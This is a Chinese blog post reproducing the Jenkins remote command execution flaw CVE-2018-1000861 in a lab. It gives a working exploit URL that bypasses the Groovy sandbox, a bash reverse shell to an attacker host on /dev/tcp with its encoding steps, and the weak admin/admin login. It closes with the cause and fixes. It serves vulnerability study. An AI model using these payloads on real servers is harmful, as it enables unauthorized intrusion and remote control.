漏洞复现-CVE-2018-1000861-jenkins远程命令执行

 
 
 
 

0x00 实验环境

攻击机:Win 10

靶场:docker拉的vulhub靶场

0x01 影响版本

Jenkins 2.153及更早版本,LTS 2.138.3及更早版本

0x02 漏洞复现

(1)访问存在的漏洞页面:

 (2)昨天复现的那个漏洞居然没有复现成功,不过今天这个好像复现起来十分简单,只用输入一句话即可:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/success%22.execute()}}

 (3)执行一下反弹shell试试,在下述网址输入反弹shell的命令:

http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/x.x.x.x/7621 0>&1

(4)记得需要两次编码,进行了上述编码后,还需要进行URL编码

http://www.hiencode.com/url.html

 (5)在自己的VPS开启监听

(6)执行下述命令:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}

这样即可获取到反弹的shell:

(7)后续发现,这个还存在弱口令(admin/admin):

 试试修改弱口令后能不能再利用反弹shell的漏洞:

 然后再试试那个命令执行,发现还是弹过来了,说明并不是因为弱口令导致的远程命令执行:

0x03 漏洞原理

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x04 修复建议

1、升级到最新版

2、设置强口令

3、尽量不要开放到公网

0x05 参考文献

https://www.cnblogs.com/huasheng333/p/13278264.html

https://www.cnblogs.com/rnss/p/13377980.html

0x06 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

原文地址:https://www.cnblogs.com/cute-puli/p/15378440.html